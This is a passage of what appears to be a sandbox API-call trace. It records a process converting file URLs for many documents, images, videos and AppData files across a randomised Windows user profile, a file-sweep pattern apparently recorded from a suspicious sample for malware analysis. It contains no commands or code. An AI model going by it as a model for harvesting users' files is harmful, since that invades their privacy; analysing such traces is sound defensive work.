dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/p-btCK5P5-k.odt", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/p-btCK5P5-k.odt/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/p-btCK5P5-k.odt", lpUsedDefaultChar=0x0) returned 95 [0059.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1650, cbMultiByte=95, lpWideCharStr=0x42a2d5c, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/p-btCK5P5-k.odt열AԬRᇠ") returned 95 [0059.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/9uanRu7vegqQifTY.jpg", cchWideChar=120, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/9uanRu7vegqQifTY.jpgp", lpUsedDefaultChar=0x0) returned 120 [0059.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a2e28, cbMultiByte=120, lpWideCharStr=0x3bce068, cchWideChar=241 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/9uanRu7vegqQifTY.jpgø") returned 120 [0059.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/4stR3pzmU2IjQjPCv2.pps", cchWideChar=102, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/4stR3pzmU2IjQjPCv2.pps_x8J4h/GYsSjG-g6A%20Jpf/4stR3pzmU2IjQjPCv2.pps", lpUsedDefaultChar=0x0) returned 102 [0059.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0b24, cbMultiByte=102, lpWideCharStr=0x42a2430, cchWideChar=205 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/4stR3pzmU2IjQjPCv2.ppsÔ") returned 102 [0059.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/rzr43Df_s8poAvL8Y1F.jpg", cchWideChar=121, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/rzr43Df_s8poAvL8Y1F.jpg", lpUsedDefaultChar=0x0) returned 121 [0059.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a2e28, cbMultiByte=121, lpWideCharStr=0x42a2ea8, cchWideChar=243 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/rzr43Df_s8poAvL8Y1F.jpg컚열AԬRၠ") returned 121 [0059.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/al9QtC.gif", cchWideChar=58, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/al9QtC.gifsers/5p5NrGJn0jS%20HALPmcxz/Desktop/al9QtC.gif", lpUsedDefaultChar=0x0) returned 58 [0059.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0fa8, cbMultiByte=58, lpWideCharStr=0x42a1824, cchWideChar=117 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/al9QtC.gif|") returned 58 [0059.872] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/9fAUwhZz7XQ47.flv", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/9fAUwhZz7XQ47.flv5NrGJn0jS%20HALPmcxz/Desktop/9fAUwhZz7XQ47.flv", lpUsedDefaultChar=0x0) returned 65 [0059.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=65, lpWideCharStr=0x42a2e20, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/9fAUwhZz7XQ47.flv") returned 65 [0059.872] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/rIBC47zYWHDhfd7P7Cw0.png", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/rIBC47zYWHDhfd7P7Cw0.pngjS%20HALPmcxz/Desktop/rIBC47zYWHDhfd7P7Cw0.png", lpUsedDefaultChar=0x0) returned 72 [0059.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1938, cbMultiByte=72, lpWideCharStr=0x42a2fa0, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/rIBC47zYWHDhfd7P7Cw0.png⊓〴Ъ〴Ъ࿈") returned 72 [0059.872] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/6rXGcCpaY5U-.png", cchWideChar=114, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/6rXGcCpaY5U-.pngl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/6rXGcCpaY5U-.png", lpUsedDefaultChar=0x0) returned 114 [0059.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520538, cbMultiByte=114, lpWideCharStr=0x5205b0, cchWideChar=229 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/6rXGcCpaY5U-.png\x03열A열A㥤") returned 114 [0059.872] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/U3qy.pptx", cchWideChar=59, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/U3qy.pptxers/5p5NrGJn0jS%20HALPmcxz/Documents/U3qy.pptx", lpUsedDefaultChar=0x0) returned 59 [0059.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0fa8, cbMultiByte=59, lpWideCharStr=0x52069c, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/U3qy.pptx") returned 59 [0059.872] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/j_udvQCV.xlsx", cchWideChar=63, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/j_udvQCV.xlsx5p5NrGJn0jS%20HALPmcxz/Documents/j_udvQCV.xlsx", lpUsedDefaultChar=0x0) returned 63 [0059.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0ecc, cbMultiByte=63, lpWideCharStr=0x520718, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/j_udvQCV.xlsx\x01열A열A㡤") returned 63 [0059.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/pKUj8876P.docx", cchWideChar=64, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/pKUj8876P.docxp5NrGJn0jS%20HALPmcxz/Documents/pKUj8876P.docx", lpUsedDefaultChar=0x0) returned 64 [0059.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=64, lpWideCharStr=0x52079c, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/pKUj8876P.docx") returned 64 [0059.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ilqiF.odp", cchWideChar=59, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ilqiF.odpers/5p5NrGJn0jS%20HALPmcxz/Documents/ilqiF.odp", lpUsedDefaultChar=0x0) returned 59 [0059.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0fa8, cbMultiByte=59, lpWideCharStr=0x520824, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ilqiF.odp") returned 59 [0059.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_jD_3EsBV.pdf", cchWideChar=63, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_jD_3EsBV.pdf5p5NrGJn0jS%20HALPmcxz/Documents/_jD_3EsBV.pdf", lpUsedDefaultChar=0x0) returned 63 [0059.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0ecc, cbMultiByte=63, lpWideCharStr=0x5209cc, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_jD_3EsBV.pdfۃ열A열A㖰") returned 63 [0059.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/nOWtjkGkh/V99IOj.flv", cchWideChar=88, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/nOWtjkGkh/V99IOj.flvdeos/y9ZmZISZtA8fIYtTxfZp/nOWtjkGkh/V99IOj.flv", lpUsedDefaultChar=0x0) returned 88 [0059.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520a58, cbMultiByte=88, lpWideCharStr=0x42a0c0c, cchWideChar=177 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/nOWtjkGkh/V99IOj.flv¸") returned 88 [0059.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/SG-TcXI2gXzZiahbe.bmp", cchWideChar=102, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/SG-TcXI2gXzZiahbe.bmpS/Se5hmDr0IOl8/xGbG96m2n/SG-TcXI2gXzZiahbe.bmp", lpUsedDefaultChar=0x0) returned 102 [0059.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0b24, cbMultiByte=102, lpWideCharStr=0x520a50, cchWideChar=205 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/SG-TcXI2gXzZiahbe.bmp嶋藼열A열A㓜") returned 102 [0059.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/5Ka6.jpg", cchWideChar=78, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/5Ka6.jpgALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/5Ka6.jpg", lpUsedDefaultChar=0x0) returned 78 [0059.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x520b2c, cbMultiByte=78, lpWideCharStr=0x520b80, cchWideChar=157 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/5Ka6.jpg膋Ġ열A열A㏜") returned 78 [0059.874] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/7zAHSAO8Qhdnj4k.png", cchWideChar=100, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/7zAHSAO8Qhdnj4k.png_OS/Se5hmDr0IOl8/xGbG96m2n/7zAHSAO8Qhdnj4k.png", lpUsedDefaultChar=0x0) returned 100 [0059.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0b24, cbMultiByte=100, lpWideCharStr=0x520c24, cchWideChar=201 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/7zAHSAO8Qhdnj4k.pngο夀열A열A㌌") returned 100 [0059.874] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/P7n5oLz_D.ods", cchWideChar=93, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/P7n5oLz_D.odsts/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/P7n5oLz_D.ods", lpUsedDefaultChar=0x0) returned 93 [0059.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1650, cbMultiByte=93, lpWideCharStr=0x520cf4, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/P7n5oLz_D.ods䄰열A열A㉌") returned 93 [0059.874] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/qHHCf1DuRREhYQ07.ods", cchWideChar=83, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/qHHCf1DuRREhYQ07.odsxz/Documents/OstAGQ_x8J4h/qHHCf1DuRREhYQ07.ods", lpUsedDefaultChar=0x0) returned 83 [0059.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc15c, cbMultiByte=83, lpWideCharStr=0x520db4, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/qHHCf1DuRREhYQ07.ods䆍열A열Aㆠ") returned 83 [0059.874] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_f1HsCMD.ots", cchWideChar=62, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_f1HsCMD.ots/5p5NrGJn0jS%20HALPmcxz/Documents/_f1HsCMD.ots", lpUsedDefaultChar=0x0) returned 62 [0059.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0ecc, cbMultiByte=62, lpWideCharStr=0x520e60, cchWideChar=125 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/_f1HsCMD.ots猔标열A열Aㄜ") returned 62 [0059.874] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/A4py8SI1rL.gif", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/A4py8SI1rL.gifn0jS%20HALPmcxz/AppData/Roaming/A4py8SI1rL.gif", lpUsedDefaultChar=0x0) returned 70 [0059.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=70, lpWideCharStr=0x520ee4, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/A4py8SI1rL.gif茀Ⴤ열A열Aよ") returned 70 [0059.875] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/U9%20Gu49ZvH33.docx", cchWideChar=69, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/U9%20Gu49ZvH33.docxJn0jS%20HALPmcxz/Documents/U9%20Gu49ZvH33.docx", lpUsedDefaultChar=0x0) returned 69 [0059.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=69, lpWideCharStr=0x520f78, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/U9%20Gu49ZvH33.docx警열A열A⿸") returned 69 [0059.875] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/bW73bkQs.mkv", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/bW73bkQs.mkvGJn0jS%20HALPmcxz/AppData/Roaming/bW73bkQs.mkv", lpUsedDefaultChar=0x0) returned 68 [0059.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=68, lpWideCharStr=0x521008, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/bW73bkQs.mkv㭏珖열A열A⽨") returned 68 [0059.875] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/3HBQ5DQDTXX2Dst.bmp", cchWideChar=119, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/3HBQ5DQDTXX2Dst.bmp", lpUsedDefaultChar=0x0) returned 119 [0059.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x5210a0, cbMultiByte=119, lpWideCharStr=0x42a2a90, cchWideChar=239 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/M-hu89hh2q0KW3MDUa/3HBQ5DQDTXX2Dst.bmp") returned 119 [0059.875] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/x-dfNPgeB.pptx", cchWideChar=64, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/x-dfNPgeB.pptxp5NrGJn0jS%20HALPmcxz/Documents/x-dfNPgeB.pptx", lpUsedDefaultChar=0x0) returned 64 [0059.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=64, lpWideCharStr=0x521278, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/x-dfNPgeB.pptx켫⭦열A열Aⴀ") returned 64 [0059.875] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/LnHpzG.gif", cchWideChar=92, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/LnHpzG.gifes/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/LnHpzG.gif", lpUsedDefaultChar=0x0) returned 92 [0059.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1650, cbMultiByte=92, lpWideCharStr=0x521460, cchWideChar=185 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/LnHpzG.gif⭦诈열A열A⫠") returned 92 [0059.875] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/RrZY-uYtP04ki0fgCu.rtf", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/RrZY-uYtP04ki0fgCu.rtfn0jS%20HALPmcxz/Desktop/RrZY-uYtP04ki0fgCu.rtf", lpUsedDefaultChar=0x0) returned 70 [0059.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=70, lpWideCharStr=0x521684, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/RrZY-uYtP04ki0fgCu.rtf䶉書열A열A⣨") returned 70 [0059.876] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/f5IF7l%20Fg-1E1w/ZgtF5NqrWfjyLW0T3.jpg", cchWideChar=143, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/f5IF7l%20Fg-1E1w/ZgtF5NqrWfjyLW0T3.jpg", lpUsedDefaultChar=0x0) returned 143 [0059.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x521888, cbMultiByte=143, lpWideCharStr=0x3bcedb0, cchWideChar=287 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/f5IF7l%20Fg-1E1w/ZgtF5NqrWfjyLW0T3.jpg") returned 143 [0059.876] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ToYMawRVB8dOMOTUs.docx", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ToYMawRVB8dOMOTUs.docxjS%20HALPmcxz/Documents/ToYMawRVB8dOMOTUs.docx", lpUsedDefaultChar=0x0) returned 72 [0059.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1938, cbMultiByte=72, lpWideCharStr=0x521a88, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/ToYMawRVB8dOMOTUs.docx羍昈열A열Aⓠ") returned 72 [0059.876] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/qHB6k1yx.png", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/qHB6k1yx.pngn0jS%20HALPmcxz/Pictures/X7bnh_OS/qHB6k1yx.png", lpUsedDefaultChar=0x0) returned 70 [0059.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=70, lpWideCharStr=0x521b20, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/qHB6k1yx.png쾋綉열A열A⑌") returned 70 [0059.876] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, 